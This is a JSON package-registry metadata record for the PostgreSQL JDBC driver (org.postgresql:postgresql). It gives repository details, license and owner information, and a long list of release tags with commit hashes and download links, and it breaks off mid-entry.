{"id":278,"name":"org.postgresql:postgresql","ecosystem":"maven","repository_url":"https://github.com/pgjdbc/pgjdbc","issues_count":2936,"created_at":"2025-06-06T15:01:33.532Z","updated_at":"2025-06-06T15:01:33.532Z","purl":"pkg:maven/org.postgresql:postgresql","metadata":{"id":5109746,"name":"org.postgresql:postgresql","ecosystem":"maven","description":"PostgreSQL JDBC Driver Postgresql","homepage":"https://jdbc.postgresql.org","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pgjdbc/pgjdbc","keywords_array":[],"namespace":"org.postgresql","versions_count":195,"first_release_published_at":"2013-04-05T16:52:35.000Z","latest_release_published_at":"2025-05-28T10:12:40.000Z","latest_release_number":"42.7.6","last_synced_at":"2025-06-04T10:03:37.631Z","created_at":"2022-07-30T20:31:34.931Z","updated_at":"2025-06-04T10:03:37.631Z","registry_url":"https://central.sonatype.com/artifact/org.postgresql/postgresql/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.postgresql/postgresql/","metadata":{},"repo_metadata":{"uuid":"3370128","full_name":"pgjdbc/pgjdbc","owner":"pgjdbc","description":"Postgresql JDBC Driver","archived":false,"fork":false,"pushed_at":"2023-03-20T17:50:34.000Z","size":43460,"stargazers_count":1239,"open_issues_count":410,"forks_count":758,"subscribers_count":86,"default_branch":"master","last_synced_at":"2023-03-22T05:28:10.262Z","etag":null,"topics":["java","jdbc","postgresql"],"latest_commit_sha":null,"homepage":"http://jdbc.postgresql.org","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"logo_url":null,"metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null}},"created_at":"2012-02-06T19:30:35.000Z","updated_at":"2023-03-20T13:26:51.000Z","dependencies_parsed_at":"2023-01-16T18:31:12.730Z","dependency_job_id":null,"html_url":"https://github.com/pgjdbc/pgjdbc","commit_stats":null,"repository_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pgjdbc%2Fpgjdbc","tags_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pgjdbc%2Fpgjdbc/tags","manifests_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pgjdbc%2Fpgjdbc/manifests","owner_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pgjdbc","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":108921946,"host_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names"},"owner_record":{"login":"pgjdbc","name":"Postgresql JDBC","uuid":"1371956","kind":"organization","description":"Official JDBC driver for PostgreSQL","email":"pgsql-jdbc@postgresql.org","website":"http://jdbc.postgresql.org","location":"Canada","twitter":null,"company":null,"avatar_url":"https://avatars.githubusercontent.com/u/1371956?v=4","repositories_count":5,"last_synced_at":"2023-02-15T19:05:35.909Z","metadata":{"has_sponsors_listing":false},"owner_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pgjdbc"},"tags":[{"name":"REL9.4.1208","sha":"5b4c6fad736d71f5ed654ac4e2913b006591c8fe","kind":"tag","published_at":"2016-02-19T19:35:17.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9.4.1208","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9.4.1208"},{"name":"REL9.4.1207","sha":"f17e2f3074a95dc767d6d896ffd696e045b48466","kind":"tag","published_at":"2015-12-22T20:21:30.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9.4.1207","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9.4.1207"},{"name":"REL9_4_1206","sha":"e0a9b414eab3e1186e9af0450aaa9dfbf096f59e","kind":"commit","published_at":"2015-11-25T20:49:57.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1206","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1206"},{"name":"REL9_4_1205","sha":"fe777e75aa1a8098edc5de44d97895049f4f6518","kind":"commit","published_at":"2015-11-03T15:48:32.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1205","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1205"},{"name":"REL9_3_1104","sha":"de86e79d80ed08580fe0019d0696e9591035902c","kind":"commit","published_at":"2015-10-09T19:11:38.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_3_1104","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_3_1104"},{"name":"REL9_4_1204","sha":"a194c5e5429bb6edb0465b6fd254ea1d78237f54","kind":"commit","published_at":"2015-10-09T18:55:53.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1204","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1204"},{"name":"REL9_4_1203","sha":"a0bafcd8158b1938159fb49894fa403e04238267","kind":"commit","published_at":"2015-09-17T21:10:31.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1203","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1203"},{"name":"REL9_4_1202","sha":"8e3e868792a27625c65021f7733661614c02aaa0","kind":"commit","published_at":"2015-08-27T20:45:34.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1202","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1202"},{"name":"REL9_4_1201","sha":"a4f8c9ecfe0cf8f162f49bdfd8db5ff0baedb233","kind":"commit","published_at":"2015-02-25T16:00:34.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1201","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1201"},{"name":"REL9_4_1200","sha":"77ab3f6c92e931bc44ed97248ab367a4c798b687","kind":"tag","published_at":"2015-01-28T12:36:32.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_4_1200","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_4_1200"},{"name":"REL9_3_1103","sha":"ed37012bb880dde1c2a8b2949dfa47bbad6d7c37","kind":"commit","published_at":"2015-01-02T20:04:20.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_3_1103","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_3_1103"},{"name":"REL9_3_1102","sha":"820d560ff5ade8cd63083339d23b655ba5def6a7","kind":"tag","published_at":"2014-07-10T20:55:03.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_3_1102","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_3_1102"},{"name":"REL9_3_1101","sha":"f2d036adbea166e9a6574b6ee430e81dcd6d5f7e","kind":"commit","published_at":"2014-02-18T13:50:50.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_3_1101","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_3_1101"},{"name":"REL9_2_1004","sha":"38152acc7b38c74476d9f85f21216c586ada7988","kind":"tag","published_at":"2013-10-31T14:04:48.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_2_1004","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_2_1004"},{"name":"REL9_3_1100","sha":"09eb20272c825cac351ba4bb8c251ed7bb5dd5d3","kind":"tag","published_at":"2013-10-31T14:02:55.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_3_1100","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_3_1100"},{"name":"REL9_2_1003","sha":"947d5ab59c3bdfb43468ee5251aef1c73e91c9fd","kind":"tag","published_at":"2013-06-06T13:43:27.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_2_1003","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_2_1003"},{"name":"REL9_2_1001","sha":"1cd438695dc35cf4c1453e5d225f698c28d7389e","kind":"tag","published_at":"2012-11-14T21:54:26.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_2_1001","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_2_1001"},{"name":"REL9_2_1002","sha":"f9c2e98d9c80abb2b04690c8bc0c16f11a797c79","kind":"tag","published_at":"2012-11-14T21:29:49.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_2_1002","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_2_1002"},{"name":"REL9_1_903","sha":"3fdf1a0f4f533a1bdf59e7e0f3e5e49656d30d5b","kind":"commit","published_at":"2012-09-27T14:08:01.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_1_903","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_1_903"},{"name":"list","sha":"1f0403ea22970855e6a4f3164180ac7077cfebdf","kind":"commit","published_at":"2012-05-02T18:12:17.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/list","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/list"},{"name":"REL9_1_902","sha":"557d6f329197b293b2220fb7ebf0be3709c06f88","kind":"commit","published_at":"2012-04-26T01:42:59.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_1_902","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_1_902"},{"name":"REL9_1_901","sha":"928f33efecaf0c541b95e3c9e8404f7ba617d0eb","kind":"commit","published_at":"2011-09-11T01:38:06.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_1_901","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_1_901"},{"name":"REL9_0_802","sha":"6b3a04fc10e71ff4affd6624a53d24b3fad20999","kind":"commit","published_at":"2011-09-11T01:18:14.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_0_802","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_0_802"},{"name":"REL8_4_703","sha":"8f4050a1ec42b9db646193381db2a3e6bb981c75","kind":"commit","published_at":"2011-09-11T01:17:07.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_4_703","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_4_703"},{"name":"REL8_3_607","sha":"87173901b381a34c0010b3b4d45223c40ef1c76f","kind":"commit","published_at":"2011-09-11T01:14:56.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_3_607","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_3_607"},{"name":"REL8_2_512","sha":"2765d2fe73dcab4016950ec63857e530087464d1","kind":"commit","published_at":"2011-09-10T04:24:56.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_512","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_512"},{"name":"REL9_0_801","sha":"2e39cc38ddc3ba8028f0acd45bad69dc4d3d691b","kind":"commit","published_at":"2010-09-20T21:32:37.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL9_0_801","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL9_0_801"},{"name":"REL8_0_325","sha":"f7842c2feb40e7e7549f2ed54fb3df1cd4ef7386","kind":"commit","published_at":"2010-05-12T06:41:14.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_325","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_325"},{"name":"REL8_1_415","sha":"1219f0e80e5662997d460cb28148577c71e00432","kind":"commit","published_at":"2010-05-12T06:40:55.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_415","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_415"},{"name":"REL8_2_511","sha":"f597791a65c8c277c7cdb2a92709637352b1fde7","kind":"commit","published_at":"2010-05-12T06:40:03.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_511","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_511"},{"name":"REL8_3_606","sha":"5e1cb768622fcf53818de0318004166d1c942587","kind":"commit","published_at":"2010-05-12T06:39:47.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_3_606","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_3_606"},{"name":"REL8_4_702","sha":"034baa3e624ac87b11111480d1b4e35a2583a854","kind":"commit","published_at":"2010-05-12T06:36:14.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_4_702","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_4_702"},{"name":"REL8_0_324","sha":"a69999ff3b80ceb3777817d08496468edc725765","kind":"commit","published_at":"2009-07-01T05:16:24.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_324","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_324"},{"name":"REL8_1_414","sha":"ca013de95da92dadb9fafc940029fe15757ae2af","kind":"commit","published_at":"2009-07-01T05:16:17.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_414","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_414"},{"name":"REL8_2_510","sha":"a722ade8395fb287471001e0246f190a2b859552","kind":"commit","published_at":"2009-07-01T05:16:11.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_510","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_510"},{"name":"REL8_3_605","sha":"577936d8d7f7e9a1b6c7d725a96513a9b19498e3","kind":"commit","published_at":"2009-07-01T05:16:04.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_3_605","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_3_605"},{"name":"REL8_4_701","sha":"05af6314b92554e30034d49426b941ce621f9dee","kind":"commit","published_at":"2009-07-01T05:15:53.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_4_701","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_4_701"},{"name":"REL8_0_323","sha":"f2873cda04abcfb05695501c88dbee6bcd41d046","kind":"commit","published_at":"2008-11-16T13:46:05.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_323","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_323"},{"name":"REL8_1_413","sha":"2eb09ad9c7b2fddc88b4a87598f3734d4d2b433e","kind":"commit","published_at":"2008-11-16T13:45:57.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_413","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_413"},{"name":"REL8_2_509","sha":"3b35c0939abce6f600d19312c644475db6d0d4bd","kind":"commit","published_at":"2008-11-16T13:45:48.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_509","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_509"},{"name":"REL8_3_604","sha":"f8e3280f3cee126b0ad765fbdac92b40b784d469","kind":"commit","published_at":"2008-11-16T13:45:43.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_3_604","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_3_604"},{"name":"REL8_0_322","sha":"b3bc99ec992aa793817539a726416ed8c8df38cc","kind":"commit","published_at":"2008-01-31T09:55:58.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_322","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_322"},{"name":"REL8_1_412","sha":"c29d8b99429462a17d7ba0b8e8f6daedab92e80e","kind":"commit","published_at":"2008-01-31T09:55:40.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_412","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_412"},{"name":"REL8_2_508","sha":"2566771421d25f8b674a932e182e671504ce0480","kind":"commit","published_at":"2008-01-31T09:55:21.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_508","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_508"},{"name":"REL8_3_603","sha":"8a2eef81e45d07130e2d86bc8a18cc14642e2741","kind":"commit","published_at":"2008-01-31T09:54:56.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_3_603","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_3_603"},{"name":"REL8_0_321","sha":"4d7ea8b0061ef946705cbd46ee70cb5984f3a5e7","kind":"commit","published_at":"2007-12-02T08:31:06.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_321","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_321"},{"name":"REL8_1_411","sha":"4f487c433534b25222a81f7e80394ef3d52d72fe","kind":"commit","published_at":"2007-12-02T08:30:50.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_411","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_411"},{"name":"REL8_2_507","sha":"9f13dae31b5fdf75abd1552ec590749bf09e052d","kind":"commit","published_at":"2007-12-02T08:30:31.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_507","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_507"},{"name":"REL8_0_320","sha":"a72e305c0133dd8b962ab06cb991b44927317dd9","kind":"commit","published_at":"2007-07-31T06:07:02.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_320","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_320"},{"name":"REL8_1_410","sha":"5619f9ef751da6bfa6b619cf62716bb315f7eba8","kind":"commit","published_at":"2007-07-31T06:06:35.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_410","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_410"},{"name":"REL8_2_506","sha":"12eceb1ff7a04d25bf74bda80a59f37ac53110a3","kind":"commit","published_at":"2007-07-31T06:06:12.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_506","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_506"},{"name":"REL8_2_505","sha":"91879290313ab6f64e05f9f366c368dc8419516c","kind":"commit","published_at":"2007-04-18T08:15:18.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_505","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_505"},{"name":"REL8_1_409","sha":"ef22d89fe798811a7ac7a143b0620043eb0acd00","kind":"commit","published_at":"2007-04-18T08:14:29.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_409","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_409"},{"name":"REL8_0_319","sha":"859fe40b52d5e8c44184c19015bd1836478c7355","kind":"commit","published_at":"2007-04-18T08:13:26.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_319","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_319"},{"name":"REL8_2_504","sha":"80b0ce1be968813de3d56ff1670857015ce6862f","kind":"commit","published_at":"2006-12-01T12:02:39.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_2_504","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_2_504"},{"name":"REL8_1_408","sha":"db52e0e583a7b8af7c7d5da34f50c8f965baec6f","kind":"commit","published_at":"2006-12-01T11:57:03.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_408","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_408"},{"name":"REL8_0_318","sha":"50466b1014fd76ec445abe26b234c13dc7c0f338","kind":"commit","published_at":"2006-12-01T11:54:54.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_318","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_318"},{"name":"REL8_0_317","sha":"7bab436cbec9baec3cd36c6d320cdc4402fd718c","kind":"commit","published_at":"2006-05-23T23:07:39.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_317","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_317"},{"name":"REL8_1_407","sha":"d9e844e0f120b4401e178392c6d4293ac5e7d3cd","kind":"commit","published_at":"2006-05-23T23:07:09.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_407","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_407"},{"name":"REL8_0_316","sha":"027669dc50a5266603367853ba6a5a9e5fba91bd","kind":"commit","published_at":"2006-05-22T10:08:50.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_316","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_316"},{"name":"REL8_1_406","sha":"6b082944901866105f620900867a0e7eb8b96d91","kind":"commit","published_at":"2006-05-22T10:08:35.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_406","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_406"},{"name":"REL8_1_405","sha":"5dbd05a49a9c17f00528d7c8d885cfdeaacf3ad9","kind":"commit","published_at":"2006-02-09T17:04:38.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_405","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_405"},{"name":"REL8_0_315","sha":"90ed05f956d7269066a591086d9431191affa7bb","kind":"commit","published_at":"2006-02-09T17:04:06.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_315","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_315"},{"name":"REL8_1_404","sha":"d3f28b54df40c3eae08305d51d0219c689de4797","kind":"commit","published_at":"2005-11-06T06:45:13.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_1_404","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_1_404"},{"name":"REL8_0_314","sha":"5f21e4fa065eeb8719ff8f0ce593c9337f9d0335","kind":"commit","published_at":"2005-11-06T06:41:45.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_314","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_314"},{"name":"REL8_0_313","sha":"9cac940139c5c0f95a18199600309ed276daf0d5","kind":"commit","published_at":"2005-10-07T06:08:40.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_313","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_313"},{"name":"REL8_0_312","sha":"3ae53db8d3ca58443540e6e371e14027d3d85a0b","kind":"commit","published_at":"2005-07-24T11:05:11.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_312","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_312"},{"name":"REL8_0_311","sha":"ac526695a77433ceea00e1f8b4a9ba710607d2f2","kind":"commit","published_at":"2005-04-11T04:45:13.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_311","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_311"},{"name":"REL8_0_310","sha":"29a41dac2a3025af1d759924fcbd688cd9c8ee25","kind":"commit","published_at":"2005-02-02T20:08:22.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_310","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_310"},{"name":"REL8_0_309","sha":"389b1a118b97418bd72ef30e4e6534d5987faa60","kind":"commit","published_at":"2005-01-17T11:09:41.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL8_0_309","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL8_0_309"},{"name":"REL7_4_1","sha":"2d3f36805608aa2a41d3fc85c7bc0c1e43dfb0b3","kind":"commit","published_at":"2003-12-18T04:18:15.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_1"},{"name":"REL7_4","sha":"76a1ece07b1d3f4110d6522ce7eaf9c382316125","kind":"commit","published_at":"2003-11-15T10:20:02.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4"},{"name":"REL7_4_RC2","sha":"00f63c8f0632ef0539d0cf0e6ac1f7ad00d28574","kind":"commit","published_at":"2003-10-30T12:18:56.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_RC2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_RC2"},{"name":"REL7_4_RC1","sha":"00f63c8f0632ef0539d0cf0e6ac1f7ad00d28574","kind":"commit","published_at":"2003-10-30T12:18:56.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_RC1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_RC1"},{"name":"REL7_4_BETA5","sha":"8115d542320a2c6cccb5e28640991b3bd6107ad6","kind":"commit","published_at":"2003-10-15T09:39:04.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_BETA5","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_BETA5"},{"name":"REL7_4_BETA4","sha":"67fffc6579b15aadb6567cdad3d7b07360f37912","kind":"commit","published_at":"2003-09-23T06:13:52.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_BETA4","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_BETA4"},{"name":"REL7_4_BETA3","sha":"3f65d0b145f09a2f9ed09f53500f63efde8eb3f4","kind":"commit","published_at":"2003-09-13T04:02:16.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_BETA3","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_BETA3"},{"name":"REL7_4_BETA2","sha":"7d4ef49d60406717eab1291c0cf6af65464e13bf","kind":"commit","published_at":"2003-08-26T06:50:39.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_BETA2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_BETA2"},{"name":"REL7_3_5","sha":"b7556b365129f5076b40e8721a0b0318d4fb5ac3","kind":"commit","published_at":"2003-08-07T17:56:27.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_3_5","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_3_5"},{"name":"REL7_4_BETA1","sha":"ad2546260b21f17f5ad096010f1a80790108f3cd","kind":"commit","published_at":"2003-07-24T00:30:39.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_4_BETA1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_4_BETA1"},{"name":"REL7_3_4","sha":"433b7b97da262eb863e59b29161f9691a7e624c8","kind":"commit","published_at":"2003-07-23T23:34:31.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_3_4","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_3_4"},{"name":"REL7_3_2","sha":"93d0ed7240e64ecfaaeb7e689594dc878125fd36","kind":"commit","published_at":"2003-01-14T09:40:48.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_3_2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_3_2"},{"name":"REL7_2_4","sha":"f4cfb708fe309ef501e76713bc447f878c1dff79","kind":"commit","published_at":"2002-01-18T17:21:51.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_4","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_4"},{"name":"REL7_2_3","sha":"f4cfb708fe309ef501e76713bc447f878c1dff79","kind":"commit","published_at":"2002-01-18T17:21:51.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_3","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_3"},{"name":"REL7_2","sha":"f4cfb708fe309ef501e76713bc447f878c1dff79","kind":"commit","published_at":"2002-01-18T17:21:51.000Z","download_url":"https://codeloa